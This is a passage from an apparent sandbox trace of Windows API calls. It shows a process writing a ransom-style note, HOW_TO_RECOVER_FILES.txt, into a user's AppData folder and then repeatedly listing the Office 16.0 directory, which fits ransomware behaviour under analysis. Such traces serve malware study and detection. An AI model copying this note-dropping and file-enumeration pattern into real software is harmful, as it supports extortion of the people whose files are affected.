lpBuffer=0x207ecd10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4d [0255.584] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed230) returned 1 [0255.584] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Media Player\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\media player\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0255.586] GetFileType (hFile=0x8a4) returned 0x1 [0255.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1a0) returned 1 [0255.586] GetFileType (hFile=0x8a4) returned 0x1 [0255.587] WriteFile (in: hFile=0x8a4, lpBuffer=0x3be57b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x207ed2f8, lpOverlapped=0x0 | out: lpBuffer=0x3be57b8*, lpNumberOfBytesWritten=0x207ed2f8*=0x5d0, lpOverlapped=0x0) returned 1 [0255.587] CloseHandle (hObject=0x8a4) returned 1 [0255.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0255.587] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office", lpFilePart=0x0) returned 0x2e [0255.587] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa3009cf0, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xa3009cf0, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0255.588] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa3009cf0, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xa3009cf0, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.588] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc9a20d0e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xc9a20d0e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0", cAlternateFileName="")) returned 1 [0255.588] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3009cf0, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x9c749eab, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x9c749eab, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTele", cAlternateFileName="")) returned 1 [0255.588] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3009cf0, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x9c749eab, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x9c749eab, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTele", cAlternateFileName="")) returned 0 [0255.588] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0255.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0255.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0255.588] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ed2c0) returned 1 [0255.588] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x207ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office", lpFilePart=0x0) returned 0x2e [0255.588] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\*", lpFindFileData=0x207ecfe0 | out: lpFindFileData=0x207ecfe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa3009cf0, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xa3009cf0, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b2e0 [0255.589] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa3009cf0, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xa3009cf0, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.589] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc9a20d0e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xc9a20d0e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0", cAlternateFileName="")) returned 1 [0255.589] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3009cf0, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x9c749eab, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0x9c749eab, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTele", cAlternateFileName="")) returned 1 [0255.589] FindNextFileW (in: hFindFile=0x134b2e0, lpFindFileData=0x207ecfa0 | out: lpFindFileData=0x207ecfa0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.589] FindClose (in: hFindFile=0x134b2e0 | out: hFindFile=0x134b2e0) returned 1 [0255.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed200) returned 1 [0255.589] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ed1c0) returned 1 [0255.589] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0255.589] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0", lpFilePart=0x0) returned 0x33 [0255.590] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc9a20d0e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xc9a20d0e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0255.590] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc9a20d0e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xc9a20d0e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.590] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BackstageInAppNavCache", cAlternateFileName="BACKST~1")) returned 1 [0255.590] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbff407, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x7cbff407, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x7cbff407, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x3453f, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe_Rules.xml", cAlternateFileName="EXCELE~1.XML")) returned 1 [0255.590] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe17ea40e, ftCreationTime.dwHighDateTime=0x1d327e6, ftLastAccessTime.dwLowDateTime=0xe17ea40e, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Floodgate", cAlternateFileName="FLOODG~1")) returned 1 [0255.590] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32354d68, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32354d68, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x32354d68, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x21b0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaccess.exe_Rules.xml", cAlternateFileName="MSACCE~1.XML")) returned 1 [0255.591] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa676ba0c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xa676ba0c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xa6791c64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x429, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoia.exe_Rules.xml", cAlternateFileName="MSOIAE~1.XML")) returned 1 [0255.591] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44ade170, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x44ade170, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x44ade170, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x19601, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspub.exe_Rules.xml", cAlternateFileName="MSPUBE~1.XML")) returned 1 [0255.591] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc76852f0, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc76852f0, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xc76852f0, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="officec2rclient.exe_Rules.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0255.591] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ac8343, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xb3ac8343, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xbfe1eb4c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeclicktorun.exe_Rules.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0255.591] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e69405, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x83e69405, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x83e69405, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x28442, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe_Rules.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0255.591] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19a53e30, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x19a53e30, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x19a53e30, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x2dc68, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpnt.exe_Rules.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0255.591] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80a526ab, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x80a526ab, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x80a526ab, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup32.exe_Rules.xml", cAlternateFileName="SETUP3~1.XML")) returned 1 [0255.592] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95817b70, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x95817b70, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x95818eea, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup64.exe_Rules.xml", cAlternateFileName="SETUP6~1.XML")) returned 1 [0255.592] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc10ce24c, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xc10ce24c, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xc10ce24c, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x3bbff, dwReserved0=0x0, dwReserved1=0x0, cFileName="visio.exe_Rules.xml", cAlternateFileName="VISIOE~1.XML")) returned 1 [0255.592] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c194002, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x7c194002, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x7c194002, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebServiceCache", cAlternateFileName="WEBSER~1")) returned 1 [0255.592] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9a20d0e, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xc9a20d0e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xc9a20d0e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x282ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="winproj.exe_Rules.xml", cAlternateFileName="WINPRO~1.XML")) returned 1 [0255.592] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x464d669, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x464d669, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x464d669, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x3694b, dwReserved0=0x0, dwReserved1=0x0, cFileName="winword.exe_Rules.xml", cAlternateFileName="WINWOR~1.XML")) returned 1 [0255.592] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0255.592] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0255.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec7d0) returned 1 [0255.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x207ec790) returned 1 [0255.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x207ec890) returned 1 [0255.593] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0", nBufferLength=0x105, lpBuffer=0x207ec330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0", lpFilePart=0x0) returned 0x33 [0255.593] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\*", lpFindFileData=0x207ec5b0 | out: lpFindFileData=0x207ec5b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc9a20d0e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xc9a20d0e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aaa0 [0255.593] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd0db3a8, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc9a20d0e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xc9a20d0e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.593] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2bde06c6, ftCreationTime.dwHighDateTime=0x1d327cd, ftLastAccessTime.dwLowDateTime=0x2bde06c6, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x2bde06c6, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BackstageInAppNavCache", cAlternateFileName="BACKST~1")) returned 1 [0255.593] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbff407, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x7cbff407, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x7cbff407, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x3453f, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe_Rules.xml", cAlternateFileName="EXCELE~1.XML")) returned 1 [0255.593] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe17ea40e, ftCreationTime.dwHighDateTime=0x1d327e6, ftLastAccessTime.dwLowDateTime=0xe17ea40e, ftLastAccessTime.dwHighDateTime=0x1d327e6, ftLastWriteTime.dwLowDateTime=0x77060bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Floodgate", cAlternateFileName="FLOODG~1")) returned 1 [0255.593] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32354d68, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32354d68, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x32354d68, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x21b0d, dwReserved0=0x0, dwReserved1=0x0, cFileName="msaccess.exe_Rules.xml", cAlternateFileName="MSACCE~1.XML")) returned 1 [0255.594] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa676ba0c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xa676ba0c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xa6791c64, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x429, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoia.exe_Rules.xml", cAlternateFileName="MSOIAE~1.XML")) returned 1 [0255.594] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44ade170, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x44ade170, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x44ade170, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x19601, dwReserved0=0x0, dwReserved1=0x0, cFileName="mspub.exe_Rules.xml", cAlternateFileName="MSPUBE~1.XML")) returned 1 [0255.594] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc76852f0, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0xc76852f0, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xc76852f0, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="officec2rclient.exe_Rules.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0255.594] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ac8343, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xb3ac8343, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xbfe1eb4c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x72e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeclicktorun.exe_Rules.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0255.594] FindNextFileW (in: hFindFile=0x134aaa0, lpFindFileData=0x207ec570 | out: lpFindFileData=0x207ec570*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83e69405, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x83e69405, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x83e69405, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x28442, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe_Rules.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0255.594] 